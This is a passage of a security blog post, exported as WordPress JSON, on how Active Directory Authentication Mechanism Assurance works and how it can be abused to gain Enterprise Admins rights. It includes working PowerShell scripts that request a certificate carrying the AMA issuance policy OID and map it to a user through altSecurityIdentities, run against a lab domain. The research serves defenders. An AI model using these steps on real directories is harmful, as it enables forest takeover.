{"id":1187,"date":"2025-02-24T15:05:44","date_gmt":"2025-02-24T14:05:44","guid":{"rendered":"https:\/\/blog.chrisse.se\/?p=1187"},"modified":"2025-02-24T21:50:34","modified_gmt":"2025-02-24T20:50:34","slug":"when-your-enterprise-pki-becomes-one-of-your-enemies-part-3","status":"publish","type":"post","link":"https:\/\/blog.chrisse.se\/?p=1187","title":{"rendered":"When your Enterprise PKI becomes one of your enemies (Part 3)"},"content":{"rendered":"\n<p><strong>&nbsp;Authentication Mechanism Assurance (AMA) introduction&nbsp;<\/strong><br>Authentication Mechanism Assurance (AMA) was added to Active Directory or more specifically the KDC in Windows Server 2008 R2 &#8211; this feature enables that a SID of an Universal Security Group is being added to a users token, and being added only if the user (or computer) authenticate against the KDC using PKINIT and a certificate.<\/p>\n\n\n\n<p>There is some information about how AMA works here from Microsoft &#8211; Skip the ADFS Part: <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2008-R2-and-2008\/dd378897(v=ws.10)?redirectedfrom=MSDN\">Authentication Mechanism Assurance for AD DS in Windows Server 2008 R2 Step-by-Step Guide | Microsoft Learn<\/a><\/p>\n\n\n\n<p>Carl S\u00f6rqvist has a good write up on how Authentication Mechanism Assurance (AMA) works as well and is pretty much the source for this blog article: <a href=\"https:\/\/blog.qdsecurity.se\/2024\/04\/07\/forest-compromise-through-ama-abuse\/#understanding-authentication-mechanism-assurance\">Forest Compromise Through AMA Abuse \u2013 Q&amp;D Security<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"567\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-1024x567.png\" alt=\"\" class=\"wp-image-1190\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-1024x567.png 1024w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-300x166.png 300w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-768x425.png 768w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-1536x851.png 1536w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image.png 1592w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>The use of Authentication Mechanism Assurance (AMA) can be very useful and help improving security, especially to Tier0 administration if it&#8217;s done right &#8211; but if it&#8217;s done wrong it could be devastating to the Active Directory forest security.  <\/p>\n\n\n\n<p>As Authentication Mechanism Assurance (AMA) enforces that the authentication has taken place using a certificate from a trusted certificate authority (Trusted on the KDC) and that the certificate has a specific issuance policy, that in it&#8217;s turn is liked to a specific universal security group in Active Directory, you can only archive that group membership by those conditions, that means that if the same account authenticate using username and password &#8211; that extra universal security group would not be a member of that users token, but more interesting is that &#8211; if a threat actor steals the accounts password hash and would use PtH for example, the threat actor would neither be given the extra universal group in the token.<\/p>\n\n\n\n<p>A universal security group used by  Authentication Mechanism Assurance (AMA) is safe guarded by the DSA\/Security Account Manager and can&#8217;t have static members.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"510\" height=\"424\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-3.png\" alt=\"\" class=\"wp-image-1195\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-3.png 510w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-3-300x249.png 300w\" sizes=\"auto, (max-width: 510px) 100vw, 510px\" \/><\/figure>\n\n\n\n<p>As seen above the universal security group &#8211; &#8220;Enterprise Admins &#8211; AMA&#8221; is controlled by an OID object (Issuance Policy) determined by the &#8220;msDS-OIDToGroupLinkBL&#8221; attribute &#8211; the link is from the other side &#8211; the OID object representing the Issuance Policy. The &#8220;Enterprise Admins -AMA&#8221; group is in it&#8217;s turn member of the real &#8220;Enterprise Admins&#8221; &#8211; (RID:519) group &#8211; What has been accomplished here is a conditional membership of being &#8220;Enterprise Admin&#8221; within the forest &#8211; only if you have authenticated with a certificate having a specific Issuance Policy. <\/p>\n\n\n\n<p>A side effect of this is that if a threat actor is performing reconnaissance &#8211; the only thing to find being a member of Domain Admins or Enterprise Admins are the built-in Administrator (RID:500) &#8211; (Having a 64 characters long password keep-in-a-safe &#8211; only used as a break the glass account). All other Tier 0 administrators would not be possible to enumerate using group memberships &#8211; however you might have chosen a naming convention for the Tier 0 accounts that gives it away \ud83d\ude42<\/p>\n\n\n\n<p><strong>Authentication Mechanism Assurance (AMA) abuse<\/strong><br>The problem lies in that there is no way to control the Certificate Authority (CA) that can issue certificates with the Issuance Policy as long as the Certificate Authority (CA) is trusted by the KDC, there is not even a requirement that the Certificate Authority (CA) is trusted in NTAuth. To add more to the possibility of abuse someone can supply the Issuance Policy OID to a certificate being issued from a template having supply in request or if being delegated certificate manager (The later can be accomplished for lateral movement if this is delegated to some CMS in Tier 1) <\/p>\n\n\n\n<p>Abuse scenario using altSecId (altSecurityIdentities)<br><br>Note all my demos uses &#8216;<a href=\"https:\/\/github.com\/CarlSorqvist\/PsCertTools\/tree\/main\/CertReqTools\">CertRequestTools<\/a>&#8216; from Carl S\u00f6rqvist and in this case also <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a> from Will Schroeder<br><br>In this scenario the only thing that is needed to compromise the additional security group utilized by Authentication Mechanism Assurance (AMA) is the ability to:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li class=\"indent40\">Be able to enroll a certificate with client authentication EKU + the Issuance Policy OID that maps to the security group from a CA that is trusted by the KDCs (Note: NTAuth is not required)<\/li>\n\n\n\n<li class=\"indent40\">Be able to associate this certificate \/ trust if for authentication with a user account &#8211; this requires that you have the ability to write to the altSecId (altSecurityIdentities) on at least one user account within the forest.<\/li>\n<\/ol>\n\n\n\n<p>To obtain a certificate with the AMA Issuance Policy OID and Client Authentication EKU we can use the following script, replace &lt;Template&gt; with a template in your environment configured for &#8211; Supply in the request (SITR) :<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#2f363c\">AMA-SITR-User.ps1<\/span><span role=\"button\" tabindex=\"0\" data-code=\"Import-Module -Name CertRequestTools\n# Chrisse Issuing CA 2 is NOT trusted in NTAuth\n$CA2 = &quot;nttest-ca-02.nttest.chrisse.com\\Chrisse Issuing CA 2&quot;  \n# A0 AMA Policy OID (linked to Enterprise Admins)\n$AmaExtension = New-CertificatePoliciesExtension -Oid &quot;1.3.6.1.4.1.311.21.8.10665564.8181582.1918139.271632.11328427.90.1.402&quot;\n \nNew-PrivateKey -RsaKeySize 2048 -KeyName ([Guid]::NewGuid()) `\n| New-CertificateRequest `\n    -Subject &quot;CN=DEMO3&quot; `\n    -UserPrincipalName &quot;caso@nttest.chrisse.com&quot; `\n    -OtherExtension $AmaExtension `\n| Submit-CertificateRequest `\n    -ConfigString $CA2 `\n    -Template &lt;Template&gt; `\n| Install-Certificate -Name My -Location CurrentUser\" style=\"color:#24292eff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki min-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #6F42C1\">Import-Module<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Name CertRequestTools<\/span><\/span>\n<span class=\"line\"><span style=\"color: #C2C3C5\"># Chrisse Issuing CA 2 is NOT trusted in NTAuth<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$CA2 <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;nttest-ca-02.nttest.chrisse.com\\Chrisse Issuing CA 2&quot;<\/span><span style=\"color: #24292EFF\">  <\/span><\/span>\n<span class=\"line\"><span style=\"color: #C2C3C5\"># A0 AMA Policy OID (linked to Enterprise Admins)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$AmaExtension <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">New-CertificatePoliciesExtension<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Oid <\/span><span style=\"color: #22863A\">&quot;1.3.6.1.4.1.311.21.8.10665564.8181582.1918139.271632.11328427.90.1.402&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #6F42C1\">New-PrivateKey<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">RsaKeySize <\/span><span style=\"color: #1976D2\">2048<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">KeyName ([<\/span><span style=\"color: #D32F2F\">Guid<\/span><span style=\"color: #24292EFF\">]::NewGuid()) <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">New-CertificateRequest<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Subject <\/span><span style=\"color: #22863A\">&quot;CN=DEMO3&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">UserPrincipalName <\/span><span style=\"color: #22863A\">&quot;caso@nttest.chrisse.com&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">OtherExtension $AmaExtension <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">Submit-CertificateRequest<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">ConfigString $CA2 <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Template <\/span><span style=\"color: #D32F2F\">&lt;<\/span><span style=\"color: #24292EFF\">Template<\/span><span style=\"color: #D32F2F\">&gt;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">`<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">Install-Certificate<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Name My <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Location CurrentUser<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Note the AMA Issuance Policy OID in the $AmaExtension variabel.<\/p>\n\n\n\n<p>Assuming we have the ability to write altSecId (altSecurityIdentities) as a help desk user or a CMS in Tier 1, we can use the following script to add the certificate we issued in the previous step (Save the script as &#8221;).<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-width:calc(3 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#2f363c\">Set-AltSecurityIdentities.ps1<\/span><span role=\"button\" tabindex=\"0\" data-code=\"using namespace System\nusing namespace System.Collections\nusing namespace System.Collections.Generic\nusing namespace System.IO\nusing namespace System.Management.Automation\nusing namespace System.Security\nusing namespace System.Security.Cryptography\nusing namespace System.Security.Cryptography.X509Certificates\nusing namespace System.Windows.Forms\nusing module ActiveDirectory\n\n[CmdletBinding(DefaultParameterSetName = &quot;Dialog&quot;)]\nParam(\n    [Parameter(Mandatory = $true)]\n    [String]\n    $Identity\n    \n    , [Parameter(Mandatory = $false)]\n    [ValidateNotNullOrEmpty()]\n    [String]\n    $Domain = $env:USERDNSDOMAIN\n    \n    , [Parameter(Mandatory = $false)]\n    [ValidateSet(&quot;IssuerSerialNumber&quot;,&quot;SubjectKeyIdentifier&quot;)]\n    [String]\n    $MappingType = &quot;IssuerSerialNumber&quot;\n\n    , [Parameter(Mandatory = $false)]\n    [Switch]\n    $Replace\n\n    , [Parameter(Mandatory = $true, ValueFromPipeline = $true, ParameterSetName = &quot;Certificate&quot;)]\n    [X509Certificate2]\n    $Certificate\n\n    , [Parameter(Mandatory = $true, ValueFromPipeline = $true, ParameterSetName = &quot;File&quot;)]\n    [FileInfo]\n    $File\n)\nBegin\n{\n    Add-Type -AssemblyName System.Security -ErrorAction Stop\n    Add-Type -AssemblyName System.Windows.Forms -ErrorAction Stop\n    $Certs = [List[X509Certificate2]]::new()\n    $User = Get-ADUser -Identity $Identity -Server $Domain -Properties altSecurityIdentities -ErrorAction Stop\n}\nProcess\n{\n    If ($PSCmdlet.ParameterSetName -ieq &quot;Certificate&quot;)\n    {\n        $Certs.Add($Certificate)\n    }\n    ElseIf ($PSCmdlet.ParameterSetName -ieq &quot;File&quot;)\n    {\n        $Cert = [X509Certificate2]::new($File.FullName)\n        $Certs.Add($Cert)\n    }\n    Else\n    {\n        $OFD = [OpenFileDialog]::new()\n        $OFD.InitialDirectory = $PSScriptRoot\n        $OFD.AutoUpgradeEnabled = $true\n        $OFD.Title = &quot;Select certificates&quot;\n        $OFD.Filter = &quot;Certificates (*.cer;*.crt)|*.cer;*.crt&quot;\n        $OFD.Multiselect = $true\n        If ($OFD.ShowDialog() -ne [DialogResult]::OK)\n        {\n            throw &quot;User cancelled out of file dialog&quot;\n        }\n        Foreach ($FileName in $OFD.FileNames)\n        {\n            $Cert = [X509Certificate2]::new($FileName)\n            $Certs.Add($Cert)\n        }\n    }\n}\nEnd\n{\n    $AltSecId = [List[String]]::new()\n    $IssuerSerialNumberFormat = &quot;X509:&lt;I&gt;{0}&lt;SR&gt;{1}&quot;\n    $SKIFormat = &quot;X509:&lt;SKI&gt;{0}&quot;\n    Foreach ($Cert in $Certs)\n    {\n        If ($MappingType -ieq &quot;IssuerSerialNumber&quot;)\n        {\n            $Issuer = $Cert.IssuerName.Format($true) -split &quot;`r?`n&quot; -join &quot;,&quot; -replace &quot;,$&quot;,&quot;&quot;\n            $ReversedSerial = ($Cert.GetSerialNumber() | % { &quot;{0:X2}&quot; -f $_ }) -join &quot;&quot;\n            $IssuerSerialString = $IssuerSerialNumberFormat -f $Issuer, $ReversedSerial\n            &quot;Adding '{0}'&quot; -f $IssuerSerialString | Write-Verbose\n            $AltSecId.add($IssuerSerialString)\n        }\n        Else\n        {\n            $SKI = $null\n            $SKI = [X509SubjectKeyIdentifierExtension]$Cert.Extensions[&quot;2.5.29.14&quot;]\n            If ($SKI -eq $null)\n            {\n                throw &quot;Could not find the SubjectKeyIdentifier extension on certificate with thumbprint {0}.&quot; -f $Cert.Thumbprint\n            }\n            $SKIString = $SKIFormat -f $SKI.SubjectKeyIdentifier\n            &quot;Adding '{0}'&quot; -f $SKIString | Write-Verbose\n            $AltSecId.Add($SKIString)\n        }\n    }\n    $Hash = @{altSecurityIdentities = $AltSecId.ToArray()}\n    $Operation = &quot;Add&quot;\n    If ($Replace)\n    {\n        $Operation = &quot;Replace&quot;\n        If ($User.altSecurityIdentities -ne $null -and $User.altSecurityIdentities.Count -gt 0)\n        {\n            &quot;Replacing the following altSecurityIdentities values on user {0}:`n`n{1}&quot; -f $User.DistinguishedName, ($User.altSecurityIdentities -join &quot;`n&quot;) | Write-Warning\n        }\n    }\n    $Params = @{$Operation = $Hash}\n    $User | Set-ADUser -Server $Domain @Params\n}\" style=\"color:#24292eff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki min-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Collections<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Collections.Generic<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.IO<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Management.Automation<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Security<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Security.Cryptography<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Security.Cryptography.X509Certificates<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Windows.Forms<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">module<\/span><span style=\"color: #24292EFF\"> ActiveDirectory<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">[<\/span><span style=\"color: #6F42C1\">CmdletBinding<\/span><span style=\"color: #24292EFF\">(DefaultParameterSetName <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Dialog&quot;<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">Param<\/span><span style=\"color: #24292EFF\">(<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #6F42C1\">Parameter<\/span><span style=\"color: #24292EFF\">(Mandatory <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$true<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #D32F2F\">String<\/span><span style=\"color: #24292EFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Identity<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #6F42C1\">Parameter<\/span><span style=\"color: #24292EFF\">(Mandatory <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$false<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #6F42C1\">ValidateNotNullOrEmpty<\/span><span style=\"color: #24292EFF\">()]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #D32F2F\">String<\/span><span style=\"color: #24292EFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Domain <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $<\/span><span style=\"color: #1976D2\">env:<\/span><span style=\"color: #24292EFF\">USERDNSDOMAIN<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #6F42C1\">Parameter<\/span><span style=\"color: #24292EFF\">(Mandatory <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$false<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #6F42C1\">ValidateSet<\/span><span style=\"color: #24292EFF\">(<\/span><span style=\"color: #22863A\">&quot;IssuerSerialNumber&quot;<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #22863A\">&quot;SubjectKeyIdentifier&quot;<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #D32F2F\">String<\/span><span style=\"color: #24292EFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $MappingType <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;IssuerSerialNumber&quot;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #6F42C1\">Parameter<\/span><span style=\"color: #24292EFF\">(Mandatory <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$false<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line cbp-see-more-line \"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #D32F2F\">Switch<\/span><span style=\"color: #24292EFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Replace<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #6F42C1\">Parameter<\/span><span style=\"color: #24292EFF\">(Mandatory <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$true<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> ValueFromPipeline <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$true<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> ParameterSetName <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Certificate&quot;<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #D32F2F\">X509Certificate2<\/span><span style=\"color: #24292EFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Certificate<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #6F42C1\">Parameter<\/span><span style=\"color: #24292EFF\">(Mandatory <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$true<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> ValueFromPipeline <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$true<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> ParameterSetName <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;File&quot;<\/span><span style=\"color: #24292EFF\">)]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    [<\/span><span style=\"color: #D32F2F\">FileInfo<\/span><span style=\"color: #24292EFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $File<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">Begin<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #6F42C1\">Add-Type<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">AssemblyName System.Security <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">ErrorAction Stop<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #6F42C1\">Add-Type<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">AssemblyName System.Windows.Forms <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">ErrorAction Stop<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Certs <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #D32F2F\">List<\/span><span style=\"color: #24292EFF\">[<\/span><span style=\"color: #D32F2F\">X509Certificate2<\/span><span style=\"color: #24292EFF\">]]::new()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $User <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">Get-ADUser<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Identity $Identity <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Server $Domain <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Properties altSecurityIdentities <\/span><span style=\"color: 